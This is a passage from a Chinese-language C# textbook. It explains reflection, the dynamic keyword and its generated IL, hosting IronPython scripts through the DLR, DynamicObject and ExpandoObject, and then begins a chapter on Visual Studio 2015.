Program.cs): class Program { private const string CalculatorLibPath = @"c:/addins/CalculatorLib.dll"; private const string CalculatorLibName = "CalculatorLib"; private const string CalculatorTypeName = "CalculatorLib.Calculator"; static void Main() { ReflectionOld(); ReflectionNew(); } //etc. } 使用反射调用方法之前,需要实例化Calculator类型。这有不同的方式。使用.NET Framework,方法GetCalculator会使用方法AssemblyLoadFile动态加载程序集,使用 CreateInstance方法创建Calculator类型的一个实例。使用预处理器指令#if NET46,这部分 代码只对.NET 4.6编译(代码文件DynamicSamples / ClientApp / Program.cs): #if NET46 private static object GetCalculator() { Assembly assembly = Assembly.LoadFile(CalculatorLibPath); return assembly.CreateInstance(CalculatorTypeName); } #endif 编译.NET 4.6代码时,上述代码片段使用了NET46符号。这是可能的,因为对于列在 project.json文件中的框架,符号是用相同的名称自动创建的;framework名称只是转换为 大写。还可以在compilationOptions声明中定义自己的符号。在框架声明的 compilationOptions中指定一个define部分,只为特定的框架定义符号。下面的代码片段只 在给.NET Core编译应用程序时,指定符号DOTNETCORE。(代码文件DynamicSamples / ClientApp / project.json): "frameworks": { "net46": {}, "netstandard1.0": { "dependencies": {}, "buildOptions": { "define": [ "DOTNETCORE" ] } } } .NET Core的实现需要独立于平台,所以不能给.NET Core编译前面的代码。在这里, 需要更多的代码加载程序集。首先,从文件系统中检索IAssemblyLoadContext,加载程序 集。检索出加载上下文后,添加DirectoryLoader(这将在下一步中实现),从文件系统中 加载程序集。设置上下文后,可以使用Load方法加载Assembly,用Activator类的 CreateInstance方法动态实例化类型(代码文件的 DynamicSamples/ClientApp/Program.cs): #if DOTNETCORE private static object GetCalculator() { Assembly assembly = Assembly.LoadContext.Default.LoadFromAssemblyPath(CalculatorLib Path); Type type = assembly.GetType(CalculatorTypeName); return Activator.CreateInstance(type); } 类DirectoryLoader和加载的上下文一起使用,实现了接口IAssemblyLoader。这个接口 定义了Load和LoadUnmanagedLibrary方法。因为只有托管的程序集加载到示例应用程序 中,所以只有Load方法需要实现。这个实现代码利用上下文加载程序集文件(代码文件 DynamicSamples /ClientApp/ Program.cs): public class DirectoryLoader : IAssemblyLoader { private readonly IAssemblyLoadContext _context; private readonly string _path; public DirectoryLoader(string path, IAssemblyLoadContext context) { _path = path; _context = context; } public Assembly Load(AssemblyName assemblyName) => _context.LoadFile(_path); public IntPtr LoadUnmanagedLibrary(string name) { throw new NotImplementedException(); } } ClientApp的示例代码使用了下面的依赖项和.NET名称空间: 依赖项 NETStandard.Library Microsoft.CSharp Microsoft.Extensions.PlatformAbstractions .NET名称空间 Microsoft.CSharp.RuntimeBinder Microsoft.Extensions.PlatformExtensions System System.Reflection static System.Console 16.4.3 用反射API调用成员 接下来,使用反射API来调用Calculator实例的方法Add。首先,Calculator实例使用辅 助方法GetCalculator来检索。如果想添加对CalculatorLib的引用,可以使用new Calculator 创建一个实例。但这并不是那么容易。 使用反射调用方法的优点是,类型不需要在编译期间可用。只要把库复制到指定的目 录中,就可以在稍后添加它。为了使用反射调用成员,利用GetType方法检索实例的Type 对象——它是基类Object的方法。通过扩展方法GetMethod(这个方法在NuGet包 System.Reflection.TypeExtensions中定义)访问MethodInfo对象的Add方法。MethodInfo定 义了Invoke方法,使用任意数量的参数调用该方法。Invoke方法的第一个参数需要调用成 员的类型的实例。第二个参数是object[]类型,传递调用所需的所有参数。这里传递x和y 变量的值。如果使用旧版本的.NET Framework,没有类型扩展,调用方法的代码就显示 在注释中。这个代码不能用于.NET Core (代码文件DynamicSamples ClientApp / Program.cs): private static void ReflectionOld() { double x = 3; double y = 4; object calc = GetCalculator(); // object result = calc.GetType().InvokeMember("Add", // BindingFlags.InvokeMethod, null, calc, new object[] { x, y }); object result = calc.GetType().GetMethod("Add") .Invoke(calc, new object[] { x, y }); WriteLine($"the result of {x} and {y} is {result}"); } 运行该程序,调用计算器,结果写入控制台: The result of 3 and 4 is 7 动态调用成员有很多工作要做。下一节看看如何使用dynamic关键字。 16.4.4 使用动态类型调用成员 使用反射和dynamic关键字,从GetCalculator方法返回的对象分配给一个dynamic类型 的变量。该方法本身没有改变,它还返回一个对象。结果返回给一个dynamic类型的变 量。现在,调用Add方法,给它传递两个double值(代码文件DynamicSamples / ClientApp / Program.cs): private static void ReflectionNew() { double x = 3; double y = 4; dynamic calc = GetCalculator(); double result = calc.Add(x, y); WriteLine($"the result of {x} and {y} is {result}"); } 语法很简单,看起来像是用强类型访问方式调用一个方法。然而,Visual Studio没有 提供智能感知功能,因为可以立即在Visual Studio编辑器中看到编码,所以很容易出现拼 写错误。 也没有在编译时进行检查。调用Multiply方法时,编译器运行得很好。只需要记住, 定义了计算器的Add和Subtract方法。 try { result = calc.Multiply(x, y); } catch (RuntimeBinderException ex) { WriteLine(ex); } 运行应用程序,调用Multiply方法,就会得到一个RuntimeBinderException异常: Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: 'CalculatorLib.Calculator' does not contain a definition for 'Multiply' at CallSite.Target(Closure , CallSite , Object , Double , Double ) at CallSite.Target(Closure , CallSite , Object , Double , Double ) at ClientApp.Program.ReflectionNew() in... 与以强类型方式访问对象相比,使用dynamic类型也有更多的开销。因此,这个关键 字只用于某些特定的情形,如反射。调用Type的InvokeMember方法没有进行编译器检 查,而是给成员名字传递一个字符串。使用dynamic类型的语法很简单,与在这样的场景 中使用反射API相比,有很大的优势。 dynamic类型还可以用于COM集成和脚本环境,详细讨论dynamic关键字后,会探讨 它。 16.5 dynamic类型 dynamic类型允许编写忽略编译期间的类型检查的代码。编译器假定,给dynamic类型 的对象定义的任何操作都是有效的。如果该操作无效,则在代码运行之前不会检测该错 误,如下面的示例所示: class Program { static void Main() { var staticPerson = new Person(); dynamic dynamicPerson = new Person(); staticPerson.GetFullName("John", "Smith"); dynamicPerson.GetFullName("John", "Smith"); } } class Person { public string FirstName { get; set; } public string LastName { get; set; } public string GetFullName() => $"{FirstName} {LastName}"; } 这个示例没有编译,因为它调用了staticPerson.GetFullName()方法。因为Person对 象上的方法不接受两个参数,所以编译器会提示出错。如果注释掉该行代码,这个示例就 会编译。如果执行它,就会发生一个运行错误。所抛出的异常是RuntimeBinderException 异常。RuntimeBinder对象会在运行时判断该调用,确定Person类是否支持被调用的方法。 这将在本章后面讨论。 与var关键字不同,定义为dynamic的对象可以在运行期间改变其类型。注意在使用var 关键字时,对象类型的确定会延迟。类型一旦确定,就不能改变。动态对象的类型可以改 变,而且可以改变多次,这不同于把对象的类型强制转换为另一种类型。在强制转换对象 的类型时,是用另一种兼容的类型创建一个新对象。例如,不能把int强制转换为Person对 象。在下面的示例中,如果对象是动态对象,就可以把它从int变成Person类型: dynamic dyn; dyn = 100; WriteLine(dyn.GetType()); WriteLine(dyn); dyn = "This is a string"; WriteLine(dyn.GetType()); WriteLine(dyn); dyn = new Person() { FirstName = "Bugs", LastName = "Bunny" }; WriteLine(dyn.GetType()); WriteLine($"{dyn.FirstName} {dyn.LastName}"); 执行这段代码可以看出,dyn对象的类型实际上从System.Int32变成System.String,再 变成Person。如果dyn声明为int或string,这段代码就不会编译。  注意: 对于dynamic类型有两个限制。动态对象不支持扩展方法,匿名函数 (lambda表达式)也不能用作动态方法调用的参数,因此LINQ不能用于动态对象。大 多数LINQ调用都是扩展方法,而lambda表达式用作这些扩展方法的参数。 后台上的动态操作 在后台,这些是如何发生的?C#仍是一种静态的类型化语言,这一点没有改变。看 看使用dynamic类型生成的IL(中间语言)。 首先,看看下面的示例C#代码: using static System.Console; namespace DeCompileSample { class Program { static void Main() { StaticClass staticObject = new StaticClass(); DynamicClass dynamicObject = new DynamicClass(); WriteLine(staticObject.IntValue); WriteLine(dynamicObject.DynValue); ReadLine(); } } class StaticClass { public int IntValue = 100; } class DynamicClass { public dynamic DynValue = 100; } } 其中有两个类StaticClass和DynamicClass。StaticClass类有一个返回int的字段。 DynamicClass有一个返回dynamic对象的字段。Main()方法仅创建了这些对象,并输出 方法返回的值。该示例非常简单。 现在注释掉Main()方法中对DynamicClass类的引用: static void Main() { StaticClass staticObject = new StaticClass(); //DynamicClass dynamicObject = new DynamicClass(); WriteLine(staticObject.IntValue); //WriteLine(dynamicObject.DynValue); ReadLine(); } 使用ildasm工具,可以看到给Main()方法生成的IL: .method private hidebysig static void Main() cil managed { .entrypoint // Code size 26 (0x1a) .maxstack 1 .locals init ([0] class DecompileSample.StaticClass staticObject) IL_0000: nop IL_0001: newobj instance void DecompileSample.StaticClass::.ctor() IL_0006: stloc.0 IL_0007: ldloc.0 IL_0008: ldfld int32 DecompileSample.StaticClass::IntValue IL_000d: call void [mscorlib]System.Console::WriteLine(int32) IL_0012: nop IL_0013: call string [mscorlib]System.Console::ReadLine() IL_0018: pop IL_0019: ret } // end of method Program::Main 这里不讨论IL的细节,只看看这段代码,就可以看出其作用。第0001行调用了 StaticClass构造函数,第0008行调用了StaticClass类的IntValue字段。下一行输出了其值。 现在注释掉对StaticClass类的引用,取消DynamicClass引用的注释: public static void Main() { //StaticClass staticObject = new StaticClass(); DynamicClass dynamicObject = new DynamicClass(); WriteLine(staticObject.IntValue); //WriteLine(dynamicObject.DynValue); ReadLine(); } 再次编译应用程序,下面是生成的IL: .method private hidebysig static void Main() cil managed { .entrypoint // Code size 123 (0x7b) .maxstack 9 .locals init ([0] class DecompileSample.DynamicClass dynamicObject) IL_0000: nop IL_0001: newobj instance void DecompileSample.DynamicClass::.ctor() IL_0006: stloc.0 IL_0007: ldsfld class [System.Core]System.Runtime.CompilerServices.CallSite`1 <class[mscorlib]System.Action`3 <class[System.Core] System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>> DecompileSample.Program/'<>o__0'::'<>p__0' IL_000c: brfalse.s IL_0010 IL_000e: br.s IL_004f IL_0010: ldc.i4 0x100 IL_0015: ldstr "WriteLine" IL_001a: ldnull IL_001b: ldtoken DecompileSample.Program IL_0020: call class [mscorlib]System.Type [mscorlib]System.Type::GetTypeFromHandle(valuetype [mscorlib]System.RuntimeTypeHandle) IL_0025: ldc.i4.2 IL_0026: newarr [Microsoft.CSharp]Microsoft.CSharp.RuntimeBinder .CSharpArgumentInfo IL_002b: dup IL_002c: ldc.i4.0 IL_002d: ldc.i4.s 33 IL_002f: ldnull IL_0030: call class [Microsoft.CSharp]Microsoft.CSharp.RuntimeBinder .CSharpArgumentInfo[Microsoft.CSharp] Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfo::Create( valuetype Microsoft.CSharp]Microsoft.CSharp.RuntimeBinder .CSharpArgumentInfoFlags, string) IL_0035: stelem.ref IL_0036: dup IL_0037: ldc.i4.1 IL_0038: ldc.i4.0 IL_0039: ldnull IL_003a: call class [Microsoft.CSharp] Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfo [Microsoft.CSharp]Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfo ::Create(valuetype [Microsoft.CSharp] Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfoFlags, string) IL_003f: stelem.ref IL_0040: call class [System.Core] System.Runtime.CompilerServices.CallSiteBinder [Microsoft.CSharp]Microsoft.CSharp.RuntimeBinder.Binder:: InvokeMember(valuetype[Microsoft.CSharp] Microsoft.CSharp.RuntimeBinder.CSharpBinderFlags, string, class [mscorlib]System.Collections.Generic.IEnumerable`1 <class [mscorlib]System.Type>, class [mscorlib]System.Type, class [mscorlib]System.Collections.Generic.IEnumerable`1 <class [Microsoft.CSharp] Microsoft.CSharp.RuntimeBinder.CSharpArgumentInfo>) IL_0045: call class [System.Core] System.Runtime.CompilerServices.CallSite`1<!0> class [System.Core]System.Runtime.CompilerServices.CallSite`1 <class [mscorlib]System.Action`3 <class [System.Core]System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>>:: Create(class [System.Core] System.Runtime.CompilerServices.CallSiteBinder) IL_004a: stsfld class [System.Core] System.Runtime.CompilerServices.CallSite`1 <class [mscorlib]System.Action`3 <class [System.Core]System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>> DecompileSample.Program/'<>o__0'::'<>p__0' IL_004f: ldsfld class [System.Core]System.Runtime.CompilerServices.CallSite`1<class [mscorlib] System.Action`3<class [System.Core] System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>> DecompileSample.Program/'<>o__0'::'<>p__0' IL_0054: ldfld !0 class [System.Core] System.Runtime.CompilerServices.CallSite`1<class [mscorlib] System.Action`3<class [System.Core] System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>>::Target IL_0059: ldsfld class [System.Core] System.Runtime.CompilerServices.CallSite`1<class [mscorlib] System.Action`3<class [System.Core] System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>> DecompileSample.Program/'<>o__0'::'<>p__0' IL_005e: ldtoken [mscorlib]System.Console IL_0063: call class [mscorlib]System.Type [mscorlib] System.Type::GetTypeFromHandle(valuetype [mscorlib] System.RuntimeTypeHandle) IL_0068: ldloc.0 IL_0069: ldfld object DecompileSample.DynamicClass::DynValue IL_006e: callvirt instance void class [mscorlib]System.Action`3 <class [System.Core]System.Runtime.CompilerServices.CallSite, class [mscorlib]System.Type, object>::Invoke(!0, !1, !2) IL_0073: nop IL_0074: call string [mscorlib]System.Console::ReadLine() IL_0079: pop IL_007a: ret } // end of method Program::Main 显然,C#编译器做了许多工作,以支持动态类型。在生成的代码中,会看到对 System.Runtime. CompilerServices.CallSite类和 System.Runtime.CompilerServices.CallSiteBinder类的引用。 CallSite是在运行期间处理查找操作的类型。在运行期间调用动态对象时,必须找到 该对象,看看其成员是否存在。CallSite会缓存这个信息,这样查找操作就不需要重复执 行。没有这个过程,循环结构的性能就有问题。 CallSite完成了成员查找操作后,就调用CallSiteBinder()方法。它从CallSite中提取 信息,并生成表达式树,来表示绑定器绑定的操作。 显然这需要做许多工作。优化非常复杂的操作时要格外小心。显然,使用dynamic类 型是有用的,但它是有代价的。 16.6 DLR 使用dynamic类型的一个重要场景是使用Dynamic Language Runtime(动态语言运行 时,DLR)的一部分。DLR是添加到CLR的一系列服务,它允许添加动态语言,如Ruby 和Python,并使C#具备和这些动态语言相同的某些动态功能。 最初DLR的核心功能现在是完整.NET Framework 4.5的一部分,DLR位于 System.Dynamic名称空间和System.Runtime.ComplierServices名称空间中。为了与IronRuby 和IronPython等脚本语言集成,需要安装DLR中额外的类型。这个DLR是IronRuby和 IronPython环境的一部分,它可以从http://ironpython.codeplex.com上下载。 IronRuby和IronPython是Ruby和Python语言的开源版本,它们使用DLR。Silverlight也 使用DLR。通过包含DLR,可以给应用程序添加脚本编辑功能。脚本运行库允许给脚本传 入变量和从脚本传出变量。 16.7 包含DLR ScriptRuntime 假定能给应用程序添加脚本编辑功能,并给脚本传入数值和从脚本传出数值,使应用 程序可以利用脚本完成工作。这些都是在应用程序中包含DLR的ScriptRuntime而提供的功 能。目前,IronPython和IronRuby都支持包含在应用程序中的脚本语言。 有了ScriptRuntime,就可以执行存储在文件中的代码段或完整的脚本。可以选择合适 的语言引擎,或者让DLR确定使用什么引擎。脚本可以在自己的应用程序域或者在当前的 应用程序域中创建。不仅可以给脚本传入数值并从脚本中传出数值,还可以在脚本中调用 在动态对象上创建的方法。 这种灵活性为包含ScriptRuntime提供了无数种用法。下面的示例说明了使用 ScriptRuntime的一种方式。假定有一个购物车应用程序,它的一个要求是根据某种标准计 算折扣。这些折扣常常随着新销售策略的启动和完成而变化。处理这个要求有许多方式, 本例将说明如何使用ScriptRuntime和少量Python脚本达到这个要求。 为了简单起见,本例是一个WPF Windows桌面应用程序。它也可以是一个大型Web 应用程序或任何其他应用程序的一部分。图16-3显示了这个应用程序的样例屏幕。为了使 用运行库,示例应用程序添加了NuGet包IronPython。 图16-3 该应用程序提取所购买的物品数量和物品的总价,并根据所选的单选按钮使用某个折 扣。在实际的应用程序中,系统使用略微复杂的方式确定要使用的折扣,但对于本例,单 选按钮就足够了。 下面是计算折扣的代码(代码文件DLRHostSample/MainWindow.xaml.cs): private void OnCalculateDiscount(object sender, RoutedEventArgs e) { string scriptToUse; if (CostRadioButton.IsChecked.Value) { scriptToUse = "Scripts/AmountDisc.py"; } else { scriptToUse = "Scripts/CountDisc.py"; } ScriptRuntime scriptRuntime = ScriptRuntime.CreateFromConfiguration(); ScriptEngine pythEng = scriptRuntime.GetEngine("Python"); ScriptSource source = pythEng.CreateScriptSourceFromFile(scriptToUse); ScriptScope scope = pythEng.CreateScope(); scope.SetVariable("prodCount", Convert.ToInt32(totalItems.Text)); scope.SetVariable("amt", Convert.ToDecimal(totalAmt.Text)); source.Execute(scope); textDiscAmount.Text = scope.GetVariable("retAmt").ToString(); } 第一部分仅确定要应用折扣的脚本AmountDisc.py或CountDisc.py。AmountDisc.py根 据购买的金额计算折扣(代码文件DLRHostSample/Scripts/AmountDisc.py)。 discAmt = .25 retAmt = amt if amt > 25.00: retAmt = amt-(amt*discAmt) 能打折的最低购买金额是$25。如果购买金额小于这个值,就不计算折扣,否则就使 用25%的折扣率。 CountDisc.py根据购买的物品数量计算折扣(代码文件 DLRHostSample/Scripts/ContDisc.py): discCount = 5 discAmt = .1 retAmt = amt if prodCount > discCount: retAmt = amt-(amt*discAmt) 在这个Python脚本中,购买的物品数量必须大于5,才能给总价应用10%的折扣率。 下一部分是启动ScriptRuntime环境。这需要执行4个特定的步骤:创建ScriptRuntime 对象、设置合适的ScriptEngine、创建ScriptSource以及创建ScriptScope。 ScriptRuntime对象是起点,也是包含ScriptRuntime的基础。它拥有包含环境的全局状 态。ScriptRuntime对象使用CreateFromConfiguration()静态方法创建。app.config文件如 下所示(代码文件DLRHostSample/app.config): <configuration> <configSections> <section name="microsoft.scripting" type="Microsoft.Scripting.Hosting.Configuration.Section, Microsoft.Scri pting /> </configSections> <microsoft.scripting> <languages> <language names="IronPython; Python; py" extensions=".py" displayName="IronPython 2.7.5" type="IronPython.Runtime.PythonContext, IronPython /> </languages> </microsoft.scripting> </configuration> 这段代码定义了“microsoft.scripting”的一部分,设置了IronPython语言引擎的几个属 性。 接着,从ScriptRuntime中获取一个对ScriptEngine的引用。在本例中,指定需要Python 引擎,但ScriptRuntime可以自己确定这一点,因为脚本的扩展名是py。 ScriptEngine完成了执行脚本代码的工作。执行文件或代码段中的脚本有几种方法。 ScriptEngine还提供了ScriptSource和ScriptScope。 ScriptSource对象允许访问脚本,它表示脚本的源代码。有了它,就可以操作脚本的 源代码。从磁盘上加载它,逐行解析它,甚至把脚本编译到CompiledCode对象中。如果 多次执行同一个脚本,这就很方便。 ScriptScope对象实际上是一个名称空间。要给脚本传入值或从脚本传出值,应把一个 变量绑定到ScriptScope上。本例调用SetVariable方法给Python脚本传入prodCount变量和 amt变量。它们是totalItems文本框和totalAmt文本框中的值。计算出来的折扣使用 GetVariable()方法从脚本中检索。在本例中,retAmt变量包含了我们需要的值。 在CalcTax按钮中,调用了Python对象上的方法。CalcTax.py脚本是一个非常简单的方 法,它接受一个输入值,加上20%的税,再返回新值。代码如下(代码文件 DLRHostSample/Scripts/CalcTax.py): def CalcTax(amount): return amount*1.2 下面是调用CalcTax()方法的C#代码(代码文件 DLRHostSample/MainWindow.xaml.cs): private void OnCalculateTax(object sender, RoutedEventArgs e) { ScriptRuntime scriptRuntime = ScriptRuntime.CreateFromConfiguration(); dynamic calcRate = scriptRuntime.UseFile("Scripts/CalcTax.py"); decimal discountedAmount; if (! decimal.TryParse(textDiscAmount.Text, out discountedAmount)) { discountedAmount = Convert.ToDecimal(totalAmt.Text); } totalTaxAmount.Text = calcRate.CalcTax(discountedAmount).ToString(); } 这是一个非常简单的过程。这里再次使用与前面相同的配置设置创建了ScriptRuntime 对象。calRate是一个ScriptScope对象,它定义为动态对象,以便轻松地调用CalcTax() 方法。这是使用动态类型简化编程工作的一个示例。 16.8 DynamicObject和ExpandoObject 如果要创建自己的动态对象,该怎么办?这有两种方法:从DynamicObject中派生, 或者使用ExpandoObject。使用DynamicObject需要做的工作较多,因为必须重写几个方 法。ExpandoObject是一个可立即使用的密封类。 16.8.1 DynamicObject 考虑一个表示人的对象。一般应定义名字、中间名和姓氏等属性。现在假定要在运行 期间构建这个对象,且系统事先不知道该对象有什么属性或该对象可能支持什么方法。此 时就可以使用基于DynamicObject的对象。需要这类功能的场合几乎没有,但到目前为 止,C#语言还没有提供该功能。 先看看DynamicObject(代码文件 DynamicSamples/DynamicSample/WroxDyamicObject.cs): public class WroxDynamicObject : DynamicObject { private Dictionary<string, object> _dynamicData = new Dictionary<string, ob ject>(); public override bool TryGetMember(GetMemberBinder binder, out object result ) { bool success = false; result = null; if (_dynamicData.ContainsKey(binder.Name)) { result = _dynamicData[binder.Name]; success = true; } else { result = "Property Not Found! "; success = false; } return success; } public override bool TrySetMember(SetMemberBinder binder, object value) { _dynamicData[binder.Name] = value; return true; } public override bool TryInvokeMember(InvokeMemberBinder binder, object[] args, out object result) { dynamic method = _dynamicData[binder.Name]; result = method((DateTime)args[0]); return result ! = null; } } 在这个示例中,重写了3个方法TrySetMember()、TryGetMember()和 TryInvokeMember()。 TrySetMember()方法给对象添加了新方法、属性或字段。本例把成员信息存储在 一个Dictionary对象中。传送给TrySetMember()方法的SetMemberBinder对象包含Name 属性,它用于标识Dictionary中的元素。 TryGetMember()方法根据GetMemberBinder对象的Name属性检索存储在Dictionary 中的对象。 下面的代码使用了刚才新建的动态对象(代码文件 DynamicSamples/DynamicSample/Program.cs): dynamic wroxDyn = new WroxDynamicObject(); wroxDyn.FirstName = "Bugs"; wroxDyn.LastName = "Bunny"; WriteLine(wroxDyn.GetType()); WriteLine($"{wroxDyn.FirstName} {wroxDyn.LastName}"); 看起来很简单,但在哪里调用了重写的方法?正是.NET Framework帮助完成了调 用。DynamicObject处理了绑定,我们只需要引用FirstName和LastName属性即可,就好像 它们一直存在一样。 添加方法很简单。可以使用上例中的WroxDynamicObject,给它添加 GetTomorrowDate()方法,该方法接受一个DateTime对象为参数,返回表示第二天的日 期字符串。代码如下: dynamic wroxDyn = new WroxDynamicObject(); Func<DateTime, string> GetTomorrow = today => today.AddDays(1).ToShortDateStr ing(); wroxDyn.GetTomorrowDate = GetTomorrow; WriteLine($"Tomorrow is {wroxDyn.GetTomorrowDate(DateTime.Now)}"); 这段代码使用Func<T, TResult>创建了委托GetTomorrow。该委托表示的方法调用了 AddDays,给传入的Date加上一天,返回得到的日期字符串。接着把委托设置为wroxDyn 对象上的GetTomorrowDate()方法。最后一行调用新方法,并传递今天的日期。动态功 能再次发挥了作用,对象上有了一个有效的方法。 16.8.2 ExpandoObject ExpandoObject的工作方式类似于上一节创建的WroxDynamicObject,区别是不必重写 方法,如下面的代码示例所示(代码文件 DynamicSamples/DynamicSample/WroxDynamicObject.cs): static void DoExpando() { dynamic expObj = new ExpandoObject(); expObj.FirstName = "Daffy"; expObj.LastName = "Duck"; WriteLine($"{expObj.FirstName} {expObj.LastName}"); Func<DateTime, string> GetTomorrow = today => today.AddDays(1).ToShortDateS tring(); expObj.GetTomorrowDate = GetTomorrow; WriteLine($"Tomorrow is {expObj.GetTomorrowDate(DateTime.Now)}"); expObj.Friends = new List<Person>(); expObj.Friends.Add(new Person() { FirstName = "Bob", LastName = "Jones" }); expObj.Friends.Add(new Person() { FirstName = "Robert", LastName = "Jones" }); expObj.Friends.Add(new Person() { FirstName = "Bobby", LastName = "Jones" } ); foreach (Person friend in expObj.Friends) { WriteLine($"{friend.FirstName} {friend.LastName}"); } } 注意,这段代码与前面的代码几乎完全相同,也添加了FirstName和LastName属性, 以及GetTomorrow函数,但它还多做了一件事——把一个Person对象集合添加为对象的一 个属性。 初看起来,这似乎与使用dynamic类型没有区别。但其中有两个微妙的区别非常重 要。第一,不能仅创建dynamic类型的空对象。必须把dynamic类型赋予某个对象,例如, 下面的代码是无效的: dynamic dynObj; dynObj.FirstName = "Joe"; 与前面的示例一样,此时可以使用ExpandoObject。 第二,因为dynamic类型必须赋予某个对象,所以,如果执行GetType调用,它就会报 告赋予了dynamic类型的对象类型。所以,如果把它赋予int, GetType就报告它是一个int。 这不适用于ExpandoObject或派生自DynamicObject的对象。 如果需要控制动态对象中属性的添加和访问,则使该对象派生自DynamicObject是最 佳选择。使用DynamicObject,可以重写几个方法,准确地控制对象与运行库的交互方 式。而对于其他情况,就应使用dynamic类型或ExpandoObject。 下面是使用dynamic类型和ExpandoObject的另一个例子。假设需求是开发一个通用的 逗号分隔值(CSV)文件的解析工具。从一个扩展到另一个扩展时,不知道文件中将包含 什么数据,只知道值之间是用逗号分隔的,并且第一行包含字段名。 首先,打开文件并读入数据流。这可以用一个简单的辅助方法完成(代码文件 DynamicSamples/DynamicFileReader/DynamicFileHelper.cs): private StreamReader OpenFile(string fileName) { if(File.Exists(fileName)) { return new StreamReader(fileName); } return null; } 这段代码打开文件,并创建一个新的StreamReader来读取文件内容。 接下来要获取字段名。方法很简单:读取文件的第一行,使用Split函数创建字段名的 一个字符串数组。 string[] headerLine = fileStream.ReadLine().Split(', ').Trim().ToArray(); 接下来的部分很有趣:读入文件的下一行,就像处理字段名那样创建一个字符串数 组,然后创建动态对象。具体代码如下所示(代码文件 DynamicSamples/DynamicFileReader/DynamicFileHelper.cs): public IEnumerable<dynamic> ParseFile(string fileName) { var retList = new List<dynamic>(); while (fileStream.Peek() > 0) { string[] dataLine = fileStream.ReadLine().Split(', ').Trim().ToArray(); dynamic dynamicEntity = new ExpandoObject(); for(int i=0; i<headerLine.Length; i++) { ((IDictionary<string, object>)dynamicEntity).Add(headerLine[i], dataLin e[i]); } retList.Add(dynamicEntity); } return retList; } 有了字段名和数据元素的字符串数组后,创建一个新的ExpandoObject,在其中添加 数据。注意,代码中将ExpandoObject强制转换为Dictionary对象。用字段名作为键,数据 作为值。然后,把这个新对象添加到所创建的retList对象中,返回给调用该方法的代码。 这样做的好处是有了一段可以处理传递给它的任何数据的代码。这里唯一的要求是确 保第一行是字段名,并且所有的值是用逗号分隔的。可以把这个概念扩展到其他文件类 型,甚至DataReader。 使用这个CSV文件内容和下载的示例代码: FirstName, LastName, City, State Niki, Lauda, Vienna, Austria Carlos, Reutemann, Santa Fe, Argentine Sebastian, Vettel, Thurgovia, Switzerland 以及Main方法,读取示例文件EmployeeList.txt(代码文件 DynamicSamples/DynamicFileReader/Program.cs): static void Main() { var helper = new DynamicFileHelper(); var employeeList = helper.ParseFile("EmployeeList.txt"); foreach (var employee in employeeList) { WriteLine($"{employee.FirstName} {employee.LastName} lives in " + $"{employee.City}, {employee.State}."); } ReadLine(); } 把如下结果输出到控制台: Niki Lauda lives in Vienna, Austria. Carlos Reutemann lives in Santa Fe, Argentine. Sebastian Vettel lives in Thurgovia, Switzerland. 16.9 小结 本章介绍了Type和Assembly类,它们是访问反射所提供的扩展功能的主要入口点。 另外,本章还探讨了反射的一个常用方面:自定义特性,它比其他方面更常用。介绍 了如何定义和应用自己的自定义特性,以及如何在运行期间检索自定义特性的信息。 本章的第二部分介绍了dynamic类型。通过使用ExpandoObject代替多个对象,代码量 会显著减少。另外,通过使用DLR及添加Python或Ruby等脚本语言,可以创建多态性更好 的应用程序,改变它们十分简单,并且不需要重新编译。 下一章详细讨论Visual Studio 2015的许多功能。 第Ⅱ部分 .NET Core与Windows Runtime  第17章 Visual Studio 2015  第18章 .NET编译器平台  第19章 测试  第20章 诊断和Application Insights  第21章 任务和并行编程  第22章 任务同步  第23章 文件和流  第24章 安全性  第25章 网络  第26章 Composition  第27章 XML和JSON  第28章 本地化 第17章 Visual Studio 2015 本章要点 ● 使用Visual Studio 2015 ● 创建和使用项目 ● 调试 ● 用Visual Studio进行重构 ● 用不同技术进行工作(WPF、WCF等) ● 构架工具 ● 分析应用程序 本章源代码下载地址(wrox.com): 本章没有可供下载的代码。 17.1 使用Visual Studio 2015 到目前为止,你应该已经对C#语言比较熟悉,并准备开始学习本书的应用部分。在 这些章节中会介绍如何使用C#编写各种应用程序。但在学习之前,需要理解如何使用 Visual Studio和.NET环境提供的一些功能使程序达到最佳效果。 本章讲解在实际工作中,如何在.NET环境中编程。介绍主要的开发环境Visual Studio,该环境用于编写、编译、调试和优化C#程序,并且为编写优秀的应用程序提供指 导。Visual Studio是主要的IDE,用于多种目的,包括编写ASP.NET应用程序、Windows Presentation Foundation (WPF)应用程序、用于Universal Windows Platform (UWP)的 应用程序、访问ASP.NET Web API创建的服务或使用ASP.NET MVC编写的Web应用程 序。 本章还探讨如何构建目标框架为.NET Core 1.0和.NET Framework 4.6的应用程序。 Visual Studio 2015是一个全面集成的开发环境。编写、调试、编译代码以生成一个程 序集的整个过程被设计得尽可能容易。这意味着Visual Studio是一个非常全面的多文档界 面应用程序,在该环境中可以完成所有代码开发的相关事情。它具有以下特性: ● 文本编辑器  使用这个编辑器,可以编写C#(还有Visual Basic、C++、F#、 JavaScript、XAML、JSON以及SQL)代码。这个文本编辑器是非常先进的。例 如,当用户输入时,它会用缩进代码行自动布局代码,匹配代码块的开始和结束 括号,以及使用颜色编码关键字。它还会在用户输入时检查语法,并用下划线标 识导致编译错误的代码,这也称为设计时的调试。另外,它具有IntelliSense功 能,当开始输入时它会自动显示类、字段或方法的名称。开始输入方法参数时, 它也会显示可用重载的参数列表。图17-1用UWP应用程序展示了IntelliSense功 能。 图17-1  注意: 如果需要IntelliSense的列表框,或者因为其他原因该列表框不见了, 可以按下Ctrl+Space组合键找回该列表框。如果希望看到IntelliSense框下面的代码,可 以按住Ctrl按钮。 ● 设计视图编辑器  这个编辑器允许在项目中放置用户界面控件和数据绑定控件; Visual Studio会在项目中自动将必需的C#代码添加到源文件中,来实例化这些控 件(这是可能的,因为所有.NET控件都是具体基类的实例)。 ● 支持窗口  这些窗口允许查看和修改项目的各个方面,例如源代码中的类、 Windows Forms和Web Forms类的可用属性(以及它们的启动值)。也可以使用这 些窗口来指定编译选项,例如代码需要引用的程序集。 ● 